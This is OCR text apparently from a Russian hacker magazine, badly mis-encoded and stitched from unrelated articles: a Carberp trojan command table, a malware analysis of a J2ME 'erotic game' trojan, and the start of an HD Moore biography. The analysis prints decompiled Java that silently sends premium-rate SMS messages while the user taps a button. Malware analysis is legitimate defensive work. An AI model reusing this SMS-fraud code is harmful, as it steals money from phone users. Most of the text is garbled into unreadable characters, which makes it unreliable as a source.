ÑÜÆ ÃÉÑÔÒÎÜÆ ÁÎÁÌÉÓÉËÉ ÐÑÆÅÐÏÌÁÄÁßÓ ÒÓÑÆÍÉÓÆÌÝÎÏÆ ÑÁÈÃÉÓÉÆ 
Carberp’Á. z

Содержимое секции «.text»

Иллюстрация работы троянского протокола

Ранняя версия Новая версия Описание

update update
Скачивает PE-файл с новой версией трояна с удаленного 
сервера и устанавливает его в систему

dexec download
Скачивает дополнительный PE-файл с удаленного сервера и 
производит его запуск

killbot killuser Удаляет трояна из системы

startsb loaddll
Скачивает дополнительную библиотеку с плагином, которая 
подгружается в контекстную память троянского процесса

 grabber Осуществляет сбор различных данных из системы

Таблица 4. Распознавание принятой информации
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MALWARE
 ¨ÁËÏÑÇÆÃÒËÉÊ  £àØÆÒÌÁÃ

 Âî âñåõ ïðåäûäóùèõ ñòàòüÿõ èç ýòîé ðóáðèêè ñîâñåì íå 
óïîìèíàëèñü ìîáèëüíûå çëîâðåäû. Îäíàêî îíè ñóùåñòâóþò è, 
âîïðåêè ðàñõîæåìó ìíåíèþ, íàíîñÿò íåïëîõîé óðîí êîøåëüêó 
ïîëüçîâàòåëåé. Ïîýòîìó â ýòîé ñòàòüå ÿ ðàçáåðó òðîÿíöà äëÿ 
ìîáèëüíûõ òåëåôîíîâ, ìàñêèðóþùåãîñÿ ïîä èãðó ýðîòè÷åñêîãî 
ñîäåðæàíèÿ.

Ðàññìàòðèâàåì «ýðîòè÷åñêèé» J2ME-çëîâðåä 
âî âñåõ èíòèìíûõ ïîäðîáíîñòÿõ

©ÓÁË, ÐÏÅÏÐÜÓÎÜÊ – ÈÌÏÃÑÆÅ ÐÏÅ Java 2 Micro Edition (J2ME). ®ÁÐÏÍÎß 
ØÉÓÁÓÆÌàÍ, ØÓÏ ÉÍÆÎÎÏ ÞÓÔ ÐÌÁÓÕÏÑÍÔ ÅÌà ÈÁÐÔÒËÁ ÐÑÉÌÏÇÆÎÉÊ 
ÉÒÐÏÌÝÈÔÆÓ ÐÏÅÁÃÌàßÚÆÆ ÂÏÌÝÙÉÎÒÓÃÏ ÏÂÜØÎÜÖ ÍÏÂÉÌÝÎÜÖ ÓÆÌÆ-
ÕÏÎÏÃ (ÞÓÏ ÓÆ, ËÏÓÏÑÜÆ ®¦ ÒÍÁÑÓÕÏÎÜ :)). ¦Æ ÐÏÐÔÌàÑÎÏÒÓÝ ÂÏÌÆÆ ØÆÍ 
ÃÜÒÏËÁ. °ÑÆÇÅÆ ØÆÍ ÎÁØÁÓÝ ÑÁÈÂÏÑ ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ ÕÁÊÌÏÃ, à ÑÆÙÉÌ 
ÈÁÐÔÒÓÉÓÝ ÈÌÏÃÑÆÅ ÐÏÅ ÞÍÔÌàÓÏÑÏÍ Sjboy. £ÏÓ ËÁË ÂÔÅÆÓ ÃÜÄÌàÅÆÓÝ 
ÞËÑÁÎ ÑÆÁÌÝÎÏÄÏ ÍÏÂÉÌÝÎÏÄÏ ÓÆÌÆÕÏÎÁ ÒÑÁÈÔ ÐÏÒÌÆ ÈÁÐÔÒËÁ ÒÞÍÐÌÁ 
(ÒÍ. ÑÉÒ. 1).
«ÁË ÍÜ ÃÉÅÉÍ – ÞÓÏ ÐÑÉÌÏÇÆÎÉÆ ÐÏÈÉ×ÉÏÎÉÑÔÆÓ ÒÆÂà ËÁË ÉÄÑÁ. °ÑÉ 
ÞÓÏÍ ÐÏÌÝÈÏÃÁÓÆÌß ÌßÂÆÈÎÏ ÒÏÏÂÚÁÆÓÒà Ï ÕÁËÓÆ ÒÏÅÆÑÇÁÎÉà ÞÑÏÓÉ-
ØÆÒËÏÄÏ ËÏÎÓÆÎÓÁ. «ÏÎÆØÎÏ ÇÆ, ÃÒÆ ÞÓÏ ÒÅÆÌÁÎÏ ÉÒËÌßØÉÓÆÌÝÎÏ ÅÌà 
ÏÓÃÌÆØÆÎÉà ÃÎÉÍÁÎÉà. ¡ ÓÆÐÆÑÝ – ÐÑÏØÉÓÁÆÍ ÐÑÁÃÉÌÁ ÉÄÑÜ (ÃÜÅÆÑÇËÁ, 
ÏÑÕÏÄÑÁÕÉà ÏÑÉÄÉÎÁÌÁ ÒÏÖÑÁÎÆÎÁ):

«ǽȦȢ ȧȡȜȞȔȟȰȡȔȳ ȱȤȢȦȜȫșȥȞȔȳ ȜȗȤȔ ȡȔ ȖȔȬ ȠȢȕȜȟȰȡȯȝ, ȞȢȦȢȤȔȳ
ȡș ȜȠșșȦ ȔȡȔȟȢȗȢȖ. ǶșȟȰ ȜȗȤȯ – ȡȧȚȡȢ ȫșȠ ȕȯȥȦȤșȝ, ȦșȠ ȟȧȫȬș
ȤȔcȞȤȯȦȰ ȠȢțȔȜȞȧ Ȝț ȪȖșȦȡȯȩ ȞȖȔȘȤȔȦȢȖ, Șȟȳ ȦȢȗȢ ȫȦȢ ȕȯ
ȧȖȜȘșȦȰ ȥȣȤȳȦȔȡȡȧȲ țȔ ȡșȝ ȞȔȤȦȜȡȞȧ ȱȤȢȦȜȫșȥȞȢȗȢ ȥȢȘșȤȚȔȡȜȳ.
Ǥȟȳ ȧȡȜȫȦȢȚșȡȜȳ ȞȖȔȘȤȔȦȢȖ ȡȔ ȱȞȤȔȡș ǢȔȠ ȡșȢȕȩȢȘȜȠȢ ȡȔȚȜȠȔȦȰ 
ȞȡȢȣȞȧ «ǦȠȜ»».

£ÑÏÅÆ ÂÜ, ÎÉØÆÄÏ ÏÒÏÂÆÎÎÏÄÏ – ÉÄÑÁ ËÁË ÉÄÑÁ. ®Ï ÐÏÅÏÇÅÉÓÆ, ØÓÏ ÓÁÍ 
ÆÚÆ ÎÁÐÉÒÁÎÏ (ÃÜÅÆÑÇËÁ, ÏÑÕÏÄÑÁÕÉà ÏÐàÓÝ-ÓÁËÉ ÒÏÖÑÁÎÆÎÜ):

«Ǥaȡȡaȳ ȣpoȗpaȠȠa ȜțȡaȫaȟȰȡo coțȘaȡa Șȟȳ peȗȜcȦpaȪȜȜ,
ȞoȦopaȳ oȦȞpȯȖaȲȦ ȖaȠ ȘocȦyȣ Ȟ ȣȟaȦȡoȠy țaȞpȯȦoȠy apxȜȖy 

ȱpoȦȜȫecȞȜx țaȗpyțoȞ, ȞoȦopȯe ȘocȦyȣȡȯ ȟȜȪaȠ c 18 Ȝ ȟeȦ 
Ȝ ȕoȟee. CaȠy ȣpoȗpaȠȠy Bȯ ȞaȫaeȦe ȕecȣȟaȦȡo, oȣȟaȦa 
ȣpoȜcxoȘȜȦ ȦoȟȰȞo ța ȦpaȨȜȞ ȣo ȦapȜȨy ȖaȬeȗo oȣepaȦopa, a 
ța oȦȣpaȖȟeȡȡoe cooȕȭeȡȜe ȣȟaȦȜȦe, BȡȜȠaȡȜe cȦoȜȠocȦȰ cȠc 
cooȕȭeȡȜȝ oȦȣpaȖȞy ȞoȦopȯx țaȣpocȜȦ ȣpȜȟoȚeȡȜe cocȦoȖȟȳeȦ: 
ȡa ȡoȠepȔ 5370 ~10.31$ (15 Șȡșȝ), 5373 ~4.57$ (7 Șȡșȝ), 
7250 ~3.64$ (3 Șȡȳ) Ȧ.e ȦeȞcȦ: «cȞaȫaȦȰ ȕecȣȟaȦȡo» ȡa caȝȦe 
ȞacaeȦcȳ ȦoȟȰȞo țaȞaȫȞȜ ȣpȜȟoȚeȡȜȳ, a ța cooȕȭeȡȜȳ ȞoȦopoe 
oȦcȯȟaeȦ ȣpȜȟoȚeȡȜe, Ȗȯ ȣȟaȦȜȦe. ǯpȜȟoȚeȡȜe țaȣpocȜȦ 
oȦȣpaȖȞy sms!!! ǷȦoȕȯ țapeȗȜcȦpȜpoȖaȦȰcȳ Ȗ țaȞpȯȦoȠ 
ȱpoȦȜȫecȞoȠ apxȜȖe, Bȯ ȡaȚȜȠaeȦe «Ǥa». ǤocȦaȦoȫȡo ȡaȚaȦȰ 
oȘȜȡ paț, ȡaȚȠeȦe 2 pața cȡȜȠyȦ co cȫeȦa, ȞaȞ ța 2 sms, Ȝ ecȟȜ 
ȡaȚȠeȦe 3 pața, Ȧo cyȠȠy cȡȜȠyȦ 3 pața cooȦȖecȦȖeȡȡo. Ǣ ȥȟȧ-
ȫȔș șȥȟȜ Ǣȯ ȢȦȣȤȔȖȜȦș 3 ȥȠȥ ȣȢȘȤȳȘ, ȦȢ Ǣȯ ȣȢȟȧȫȔșȦș ȘȢȣȢȟȡȜ-
ȦșȟȰȡȧȲ ȡșȘșȟȲ ȘȢȥȦȧȣȔ ȕșȥȣȟȔȦȡȢ! … » 

³ÁË ØÓÏ ÇÆ ÐÏÌÔØÁÆÓÒà? ¾ÓÏ ÎÆ ÉÄÑÁ, Á ÐÑÏÄÑÁÍÍÁ ÅÌà ÐÏÌÔØÆÎÉà 
ÅÏÒÓÔÐÁ Ë ÐÌÁÓÎÏÍÔ ËÏÎÓÆÎÓÔ?! «ÁÇÆÓÒà, ØÓÏ ÂÏàÓÝÒà ÃÑÏÅÆ ÂÜ ÎÆØÆ-
ÄÏ, ÓÁË ËÁË ¯² ÏÂàÈÁÓÆÌÝÎÏ ÒÐÑÁÙÉÃÁÆÓ Ô ÐÏÌÝÈÏÃÁÓÆÌà, ÒÏÄÌÁÒÆÎ ÌÉ 
ÏÎ ÏÓÐÑÁÃÉÓÝ ²². ®Ï ÈÅÆÒÝ ÈÌÏÔÍÜÙÌÆÎÎÉËÉ ÎÆÍÎÏÄÏ ÒÖÉÓÑÉÌÉ. 
²ÔÓÝ ÉÄÑÜ ÈÁËÌßØÁÆÓÒà Ã ÓÏÍ, ØÓÏ ÎÔÇÎÏ ÏØÆÎÝ ÂÜÒÓÑÏ ËÌÉËÁÓÝ ÎÁ 
ËÎÏÐËÔ «ÇÍÉ», ØÓÏÂÜ ÔÒÐÆÓÝ ÏÓËÑÜÓÝ ËÁÑÓÉÎËÔ. £ ÏÐÑÆÅÆÌÆÎÎÜÊ 
ÍÏÍÆÎÓ ÉÄÑÜ ÐÏàÃÌàÆÓÒà ÐÏÅÓÃÆÑÇÅÆÎÉÆ ÏÂ ÏÓÐÑÁÃËÆ ²², ÎÏ 
ÔÃÌÆØÆÎÎÜÊ ÉÄÑÏË ÓÁË ÑÝàÎÏ ÇÍÆÓ ÎÁ ËÎÏÐËÔ «ÇÍÉ», ØÓÏ ÐÏÐÔÓÎÏ 
ÎÁÇÉÍÁÆÓ É ËÎÏÐËÔ «ÒÏÄÌÁÒÆÎ». ²ÑÁÈÔ ÐÏÒÌÆ ÞÓÏÄÏ Ò ÆÄÏ ÒØÆÓÁ ÎÆÈÁ-
ÍÆÅÌÉÓÆÌÝÎÏ ÒÐÉÒÜÃÁÆÓÒà ÞÎÎÏÆ ËÏÌÉØÆÒÓÃÏ ÅÆÎÆÄ.

Рис. 1. 
Фрагмент 
работы 
зловреда под 
эмулятором 
Sjboy сразу 
после 
запуска Рис. 2. 

Фрагмент 
работы 
J2ME- 
зловреда 
во время 
«игры» под 
эмулятором 
Sjboy

ÌÎÁÈËÜÍÀß 
ÌÀËÂÀÐÜ 
ÏÎÄ ÌÈÊÐÎÑÊÎÏÎÌ
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Как это работает?
¡ ÓÆÐÆÑÝ – Ï ÓÏÍ, ËÁË ÞÓÏ ÑÁÂÏÓÁÆÓ ÉÈÎÔÓÑÉ. °ÑÏÄÑÁÍÍÜ ÐÏÅ ÞÓÔ ÐÌÁÓ-
ÕÏÑÍÔ ÃÜÐÏÌÎÆÎÜ Ã ÃÉÅÆ JAR–ÕÁÊÌÏÃ. °ÏÒÌÆÅÎÉÆ ÐÑÆÅÒÓÁÃÌàßÓ 
ÒÏÂÏÊ ÏÂÜØÎÜÊ ZIP–ÁÑÖÉÃ, ËÏÓÏÑÜÊ ÍÏÇÎÏ ÑÁÒÐÁËÏÃÁÓÝ. °ÏÒÌÆ ÑÁÒ-
ÐÁËÏÃËÉ ÍÜ ÔÃÉÅÉÍ «ÕÁÊÌÜ», ËÏÓÏÑÜÆ ÉÒÐÏÌÝÈÔßÓÒà ÐÑÉÌÏÇÆÎÉÆÍ. 
©ÒÐÏÌÎÆÎÉÆ J2ME-ÐÑÏÄÑÁÍÍÜ ÎÁØÉÎÁÆÓÒà Ò ÈÁÐÔÒËÁ «midlet.class». 
µÁÊÌÜ «.class» – ÞÓÏ ÒËÏÍÐÉÌÉÑÏÃÁÎÎÜÊ ËÏÅ Java. ÏÇÎÏ ÐÑÏÃÆÒÓÉ 
ÁÎÁÌÏÄÉß Ò ÕÁÊÌÁÍÉ, ÒÏÅÆÑÇÁÚÉÍÉ ËÏÅ ÎÁ C/C++: «.c”/”.cpp» ËÏÍÐÉ-
ÌÉÑÔßÓÒà Ã «.obj». Java class’Ü ÍÏÇÎÏ ÅÆËÏÍÐÉÌÉÑÏÃÁÓÝ, ÎÁÐÑÉÍÆÑ, 
ÐÑÉ ÐÏÍÏÚÉ JAD. ³ÁË à É ÐÏÒÓÔÐÉÌ. ¥Á, Ô ÞÓÏÄÏ ÈÌÏÃÑÆÅÁ, ÐÏÍÉÍÏ 
«midlet.class», ÐÑÉÒÔÓÒÓÃÏÃÁÌÉ ÆÚÆ É ÅÑÔÄÉÆ class’Ü, Ò ËÏÓÏÑÜÍÉ à 
ÐÏÒÓÔÐÉÌ ÁÎÁÌÏÄÉØÎÏ.
°ÆÑÃÏÆ, ØÓÏ ÂÑÏÒÉÌÏÒÝ Ã ÄÌÁÈÁ – ÕÔÎË×Éà sendNextSms. ®ÁÈÃÁÎÉÆ, 
ÂÆÈÔÒÌÏÃÎÏ, ÄÏÃÏÑàÚÆÆ. ¥Ï ÞÓÏÄÏ à ÄÏÃÏÑÉÌ, ØÓÏ ²² ÏÓÐÑÁÃÌàÆÓÒà ÎÆ 
ÒÑÁÈÔ, Á Ã ÏÐÑÆÅÆÌÆÎÎÜÆ ÍÏÍÆÎÓÜ ÉÄÑÜ. À ÑÆÙÉÌ ÃÜàÒÎÉÓÝ, ËÁË ÇÆ ÞÓÏ 
ÑÆÁÌÉÈÏÃÁÎÏ. ²ÁÍÁ ÕÔÎË×Éà ÃÜÈÜÃÁÆÓÒà Ã midlet.class ÒÌÆÅÔßÚÉÍ 
ÏÂÑÁÈÏÍ:

if (e_boolean_fl d)
{
    e_boolean_fl d = false;
    sendNextSms();
}

©È ËÏÅÁ ÃÉÅÎÏ, ØÓÏ ÏÓÐÑÁÃËÁ ÃÜÈÜÃÁÆÓÒà ÓÏÌÝËÏ Ã ÒÌÔØÁÆ, ËÏÄÅÁ ÂÔÌÆ-
ÃÁà ÐÆÑÆÍÆÎÎÁà «e_boolean_fld» ÐÑÉÎÉÍÁÆÓ ÈÎÁØÆÎÉÆ «true». ¾ÓÏ ÐÑÏ-
ÉÒÖÏÅÉÓ ÓÏÌÝËÏ Ã ÏÅÎÏÍ ÍÆÒÓÆ Ã ËÏÅÆ:

if(i == b.b && mode > 4 && mode < 6)
{
    e.a(e.f, e.g);
    if(b.e > 1)
    {
        while(b.a_int_array2d_static_fl d[rX][rY] == 0)
        {
            nextX();
            nextY();
        }
        b.a_int_array2d_static_fl d[rX][rY] = 0;
        b.e--;
        c_int_fl d = 100 — b.f * b.e;
        if(c_int_fl d > d_int_fl d)
        {
            e_boolean_fl d = true;
            d_int_fl d = d_int_fl d + 11;
        }
        nextY();
        return;
    } else {
        a_b_fl d.a(d.a, null);
        a_b_fl d.b("ǯȢțȘȤȔȖȟȳșȠ!");
        a_b_fl d.a(e_java_lang_String_fl d);
        e.a(e.g, 0);
        a_b_fl d.serviceRepaints();
        a_long_fl d = System.currentTimeMillis();
        mode = 6;
        c_boolean_fl d = true;
        return;
    }
}

°ÏÒËÏÌÝËÔ ÉÒÖÏÅÎÜÊ ËÏÅ Ô ÍÆÎà, ÔÃÜ, ÏÓÒÔÓÒÓÃÔÆÓ, ÓÏ Ï ÎÁÈÎÁØÆÎÉÉ ÃÒÆÖ 
ÐÆÑÆÍÆÎÎÜÖ ÐÑÉÖÏÅÉÓÒà ÅÏÄÁÅÜÃÁÓÝÒà ÉÈ ËÏÎÓÆËÒÓÁ. ¾ÓÏÓ ÕÑÁÄÍÆÎÓ 

ËÏÅÁ ÏÓÃÆØÁÆÓ ÈÁ ÏÂÑÁÂÏÓËÔ ÐÏÌÝÈÏÃÁÓÆÌÝÒËÏÄÏ ÎÁÇÁÓÉà ÐÏ ËÎÏÐËÆ 
«ÇÍÉ». ²ÔÅà ÐÏ ÃÒÆÍÔ, «b.e» – ÞÓÏ ËÏÌÉØÆÒÓÃÏ ÏÒÓÁÃÙÉÖÒà ËÃÁÅÑÁ-
ÓÏÃ Ã ÉÄÑÆ. ¦ÒÌÉ ÉÖ ÎÆ ÏÒÓÁÌÏÒÝ, ÓÏ ÂÔÅÆÓ ÑÉÒÏÃÁÓÝÒà ÐÏÈÅÑÁÃÌÆÎÉÆ: 
«a_b_fld.b(«°ÏÈÅÑÁÃÌàÆÍ!»);». ¡ ÆÒÌÉ ÏÎÉ ÆÚÆ ÏÒÓÁÌÉÒÝ, ÓÏ ËÏÌÉØÆÒÓÃÏ 
ËÃÁÅÑÁÓÏÃ ÔÍÆÎÝÙÉÓÒà ÎÁ ÆÅÉÎÉ×Ô: b.e--;, É ÂÔÅÆÓ ÐÑÏÉÈÃÆÅÆÎÏ ÅÁÌÝ-
ÎÆÊÙÆÆ ÑÉÒÏÃÁÎÉÆ «ÂÆÄÁßÚÆÄÏ» ÞÌÆÍÆÎÓÁ. «ÁË ÃÉÅÎÏ ÉÈ ËÏÅÁ, ÂÔÌÆÃÁ 
«e_boolean_fld», ËÏÓÏÑÁà ÑÁÈÑÆÙÉÓ ÏÓÐÑÁÃËÔ SMS, ÂÔÅÆÓ ÃÜÒÓÁÃÌàÓÝÒà 
ÓÏÌÝËÏ ÐÑÉ ÏÐÑÆÅÆÌÆÎÎÏÍ ÔÒÌÏÃÉÉ: c_int_fld > d_int_fld. ¾ÓÏ ÔÒÌÏÃÉÆ 
ÂÔÅÆÓ ÃÜÐÏÌÎàÓÝÒà ÂÌÉÇÆ Ë ËÏÎ×Ô, ËÏÄÅÁ «b.e» ÒÓÁÎÆÓ ÏØÆÎÝ ÍÁÌÆÎÝ-
ËÉÍ, Á «c_int_fld», ÒÏÏÓÃÆÓÒÓÃÆÎÎÏ, ÂÏÌÝÙÉÍ: c_int_fl d = 100 - b.f 
* b.e. 
³ÆÐÆÑÝ ÏÂÑÁÓÉÍÒà ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ Ë ËÏÅÔ ÕÔÎË×ÉÉ sendNextSMS 
(ÕÑÁÄÍÆÎÓ):

String s1 = b_java_lang_String_fl d;
String s = c_java_lang_String_fl d;
c c1 = a_c_fl d;
System.gc();
if(c1.a_java_lang_Thread_fl d == null)
{
    c1.a_boolean_fl d = false;
    c1.a_java_lang_String_fl d = s1;
    c1.b = "sms://" + s;
    c1.a_java_lang_Thread_fl d = new Thread(c1);
    c1.a_java_lang_Thread_fl d.start();
}
try
{
    Thread.sleep(300L);
}
catch(Exception _ex) { }

¨ÅÆÒÝ ÐÑÏÉÒÖÏÅÉÓ ÈÁÐÏÌÎÆÎÉÆ ÐÏÌÆÊ ÏÂÛÆËÓÁ «c1». ÏÇÎÏ ÐÏÎàÓÝ, ØÓÏ 
Ã ÒÓÑÏËÆ «s» ÒÏÅÆÑÇÉÓÒà ÎÏÍÆÑ, ËÔÅÁ ÒÌÆÅÔÆÓ ÏÓÐÑÁÃÉÓÝ SMS, Á Ã ÒÓÑÏ-
ËÆ «s1» ÒÏÅÆÑÇÉÓÒà ÓÆËÒÓ ÏÓÐÑÁÃËÉ. °ÏÒÌÆ ÓÏÄÏ, ËÁË ÐÏÌà ÏÂÛÆËÓÁ ÒÓÁ-
ÎÏÃàÓÒà ÈÁÐÏÌÎÆÎÎÜÍÉ, ÒÏÈÅÁÆÓÒà ÎÏÃÜÊ ÐÏÓÏË, ËÏÓÏÑÏÍÔ Ã ËÁØÆÒÓÃÆ 
ÐÁÑÁÍÆÓÑÁ ÐÆÑÆÅÁÆÓÒà «c1». ¯ÂÑÁÓÉÍÒà Ë ÞÓÏÍÔ ËÌÁÒÒÔ:

MessageConnection messageconnection;
System.gc();
messageconnection = null;
TextMessage textmessage;
(textmessage = (TextMessage)
   (messageconnection = (MessageConnection)Connector.open(b)).
   newMessage("text")).setAddress(b);
textmessage.setPayloadText(a_java_lang_String_fl d);
messageconnection.send(textmessage);

À ÒÐÆ×ÉÁÌÝÎÏ ÃÜÑÆÈÁÌ ÓÏÌÝËÏ ÓÏÓ ËÏÅ, ËÏÓÏÑÜÊ ÏÓÃÆØÁÆÓ ÈÁ ÏÓÐÑÁÃ-
ËÔ ÒÏÏÂÚÆÎÉà, ØÓÏÂÜ ÎÆ ÈÁÄÑÏÍÏÇÅÁÓÝ ÒÓÁÓÝß. ÏÉ ÐÑÆÅÐÏÌÏÇÆÎÉà 
ÏËÁÈÁÌÉÒÝ ÃÆÑÎÜÍÉ. ³ÁË, ÓÆËÒÓ ÒÏÏÂÚÆÎÉà ÒÏÅÆÑÇÉÓÒà Ã ÒÓÑÏËÆ 
«a_java_lang_String_fld»: textmessage.setPayloadText(a_java_
lang_String_fl d);. ¡ ÎÏÍÆÑ, ËÔÅÁ ÐÑÏÉÈÃÆÅÆÎÁ ÏÓÐÑÁÃËÁ Ã ÐÆÑÆ-
ÍÆÎÎÏÊ «b»: (textmessage = (TextMessage)(messageconnection = 
(MessageConnection)Connector.open(b)).newMessage("text")).
setAddress(b);. ²ÁÍÁ ÇÆ ÏÓÐÑÁÃËÁ ÑÆÁÌÉÈÔÆÓÒà ÐÏÒÑÆÅÒÓÃÏÍ ÒÌÆÅÔß-
ÚÆÄÏ ÃÜÈÏÃÁ: messageconnection.send(textmessage);.

Заключение
£ÏÓ É ÃÒÆ – ÍÜ ÏÐÉÒÁÌÉ ÃÆÒÝ «ÐÏÌÆÈÎÜÊ» ÕÔÎË×ÉÏÎÁÌ ÞÓÏÊ ÉÄÑÜ-
ÓÑÏàÎÁ. ¯ËÁÈÁÌÏÒÝ, ØÓÏ ÌßÂÉÓÆÌÉ ÒÏÍÎÉÓÆÌÝÎÏÄÏ ËÏÎÓÆÎÓÁ ÍÏÄÔÓ ÌÆÄËÏ 
ÐÏÐÁÒÓÝÒà ÎÁ ÞÌÆÍÆÎÓÁÑÎÜÆ ÔÌÏÃËÉ ÈÌÏÔÍÜÙÌÆÎÎÉËÏÃ. ²ÓÏÉÓ ÏÓÍÆÓÉÓÝ, 
ØÓÏ ÒÁÍ ÓÑÏàÎÆ× ÃÜÐÏÌÎÆÎ ÅÏÒÓÁÓÏØÎÏ ËÁØÆÒÓÃÆÎÎÏ: ÐÏ-ÃÉÅÉÍÏÍÔ, ÎÁ 
ÆÄÏ ÑÁÈÑÁÂÏÓËÔ ÔÙÌÏ ÎÆ ÓÁË ÍÁÌÏ ÃÑÆÍÆÎÉ. ®Ï, ØÓÏ ÑÁÅÔÆÓ, – ÆÄÏ ÑÁÈÂÏÑ 
ÏËÁÈÁÌÒà ÒÏÃÒÆÍ ÎÆÒÌÏÇÎÜÍ. z
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Начало карьеры
±ÏÅÉÌÒà ÎÁÙ ÄÆÑÏÊ Ã 1981 ÄÏÅÔ Ã 
²ÏÆÅÉÎÆÎÎÜÖ ¹ÓÁÓÁÖ ÈÃÆÈÅÎÏ-ÐÏÌÏÒÁÓÏÊ 
¡ÍÆÑÉËÉ. «ÒÓÁÓÉ, ÉÎÓÆÑÆÒÎÜÊ ÕÁËÓ — HD 
Moore, ÞÓÏ ÎÆ ÐÒÆÃÅÏÎÉÍ. ¥ÆÌÏ Ã ÓÏÍ, ØÓÏ 
ÐÆÑÃÏÆ ÉÍà ÔÑÁ — ¾ÊØ (ÏÅÎÁ ÂÔËÃÁ «H», 
ÒÆÑÝÆÈÎÏ), Á ÃÓÏÑÏÆ ÎÁØÉÎÁÆÓÒà ÎÁ «D», ÃÏÓ É 
ÐÏÌÔØÁßÓÒà ÉÎÉ×ÉÁÌÜ. 
£ ßÎÏÒÓÉ ÔÑ ÔÒÐÆÌ ÎÆ ÑÁÈ ÒÍÆÎÉÓÝ ÙËÏÌÔ, 
ÓÁË ËÁË ÉÈ ÔØÆÂÎÜÖ ÈÁÃÆÅÆÎÉÊ ÆÄÏ ÐÏÐÑÏ-
ÒÓÔ ÃÜÄÏÎàÌÉ ÈÁ ÎÆÔÒÐÆÃÁÆÍÏÒÓÝ. ¦ÒÌÉ 
ÐÏÒÍÏÓÑÆÓÝ ÎÁ ÂÉÏÄÑÁÕÉÉ ÅÑÔÄÉÖ ÃÉÅÎÜÖ 
IT-ÅÆàÓÆÌÆÊ, ÒÓÁÎÏÃÉÓÒà àÒÎÏ, ØÓÏ ÐÏÅÏÂÎÁà 
ÒÉÓÔÁ×Éà Ã ÞÓÏÊ ÒÑÆÅÆ ÆÅÃÁ ÌÉ ÎÆ ÎÏÑÍÁ. 
³ÁËÉÍ ÌßÅàÍ ÈÁØÁÒÓÔß ÂÜÃÁÆÓ ÒËÔØÎÏ ÔØÉÓÝ-
Òà — ÍÎÏÇÆÒÓÃÏ ÅÉÒ×ÉÐÌÉÎ ÏÎÉ ÒØÉÓÁßÓ 
ÅÌà ÒÆÂà ÎÆÎÔÇÎÜÍÉ É ÅÁÇÆ ÎÆ ÐÜÓÁßÓÒà 
ÃÎÉËÁÓÝ Ã ÎÉÖ. ´ ÔÑÁ ÂÜÌÁ ÒÖÏÇÁà ÐÑÏ-
ÂÌÆÍÁ. ¹ÁÎÒ ÑÁÒËÑÜÓÝÒà ÐÑÆÅÒÓÁÃÉÌÒà ÆÍÔ 
ÌÉÙÝ Ã ÎÆ ÒÏÃÒÆÍ ÏÂÜØÎÏÍ ÔØÆÂÎÏÍ ÈÁÃÆ-
ÅÆÎÉÉ ÄÏÑÏÅÁ ¯ÒÓÉÎ (ÙÓÁÓ ³ÆÖÁÒ). ¸ÁÒÓÎÁà 
ÙËÏÌÁ ¤ÏÎÈÁÌÏ ¤ÁÑÈÁ ÑÁÂÏÓÁÌÁ (É ÐÏ ÒÆÊ ÅÆÎÝ 
ÑÁÂÏÓÁÆÓ) Ò ÐÏÅÑÏÒÓËÁÍÉ, ËÏÓÏÑÜÆ ÐÏ ÓÆÍ 
ÉÌÉ ÉÎÜÍ ÐÑÉØÉÎÁÍ ÎÆ ÍÏÄÔÓ ÎÁÊÓÉ ÒÆÂà É 
ÒÏÒÓÏàÓÝÒà Ã ÑÁÍËÁÖ ÐÑÉÃÜØÎÏÊ ÎÁÍ ÒÉÒÓÆ-
ÍÜ. ©ÍÆÎÎÏ ÓÁÍ ¾ÊØ ¥É ÏÓÜÒËÁÌ ÒÃÏÆ ÍÆÒÓÏ, 
Á ÔØÉÓÆÌà ÄÏÑÅÏ ÎÁÈÜÃÁÌÉ ÆÄÏ ËÏÍÐÝßÓÆÑÎÜÍ 
ÄÆÎÉÆÍ. 
¥ÏÐÏÅÌÉÎÎÏ ÎÆÉÈÃÆÒÓÎÏ, Ã ËÁËÏÍ ÉÍÆÎÎÏ 
ÃÏÈÑÁÒÓÆ ÔÑ ÈÁÉÎÓÆÑÆÒÏÃÁÌÒà ÐÏÉÒËÏÍ 
ÂÁÄÏÃ É ÔàÈÃÉÍÏÒÓÆÊ, ÃÆÈÅÆ, ÄÅÆ ÉÖ ÓÏÌÝËÏ 
ÍÏÇÎÏ ÎÁÊÓÉ. ¨ÁÓÏ ÉÈÃÆÒÓÎÏ, ØÓÏ ÃÏ ÃÑÆÍà 
ÔØÆÂÜ Ã ¤ÁÑÈÁ, ÂÔÅÔØÉ ÐÏÅÑÏÒÓËÏÍ 17 ÌÆÓ ÏÓ 
ÑÏÅÔ, ÏÎ ÔÇÆ ÒÔÍÆÌ ÏÂÎÁÑÔÇÉÓÝ ÒÆÑÝÆÈÎÔß 
ÐÑÏÂÌÆÍÔ Ã ÁÑÍÆÊÒËÏÊ ÐÑÏÄÑÁÍÍÆ SHADOW 
(Secondary Heuristic Analysis for Defensive 

Online Warfare). ÔÑ ÎÆ ÓÏÌÝËÏ ÐÑÆÅÌÏÇÉÌ 
ÑÆÙÆÎÉÆ ÎÁÊÅÆÎÎÏÊ ÐÑÏÂÌÆÍÜ, ÎÏ ÅÁÇÆ 
ÐÑÏËÏÎÒÔÌÝÓÉÑÏÃÁÌ ÐÏ ÅÁÎÎÏÍÔ ÃÏÐÑÏÒÔ 
¡ÄÆÎÓÒÓÃÏ ®Á×ÉÏÎÁÌÝÎÏÊ ¢ÆÈÏÐÁÒÎÏÒÓÉ. 
°ÏÐÑÁÃËÉ ÔÑÁ ÐÑÉÎàÌÉ, Ã ÒÏÕÓ ÃÎÆÒÌÉ 
ÒÏÏÓÃÆÓÒÓÃÔßÚÉÆ ÉÈÍÆÎÆÎÉà. 
£ ÓÏÓ ÇÆ ÐÆÑÉÏÅ ÃÑÆÍÆÎÉ ÏÎ ÏÂÎÁÑÔÇÉÌ 
ÒÆÑÝÆÈÎÔß ÅÜÑÔ Ã ÐÏØÓÏÃÏÍ ÒÆÑÃÉÒÆ Yahoo. 
«ÁË ÉÒÓÉÎÎÜÊ white hat ¾ÊØ ¥É ÒÏÏÂÚÉÌ Ï 
ÅÜÑËÆ Ã Yahoo É ÐÑÏÅÆÍÏÎÒÓÑÉÑÏÃÁÌ ÏÅÎÏÍÔ 
ÉÈ ÒÏÓÑÔÅÎÉËÏÃ ËÏÍÐÁÎÉÉ, ËÁË ÐÑÉ ÐÏÍÏÚÉ 
ÞÓÏÊ ÔàÈÃÉÍÏÒÓÉ ÍÏÇÎÏ ÐÑÏÂÑÁÓÝÒà Ã ÒÉÒÓÆÍÔ 
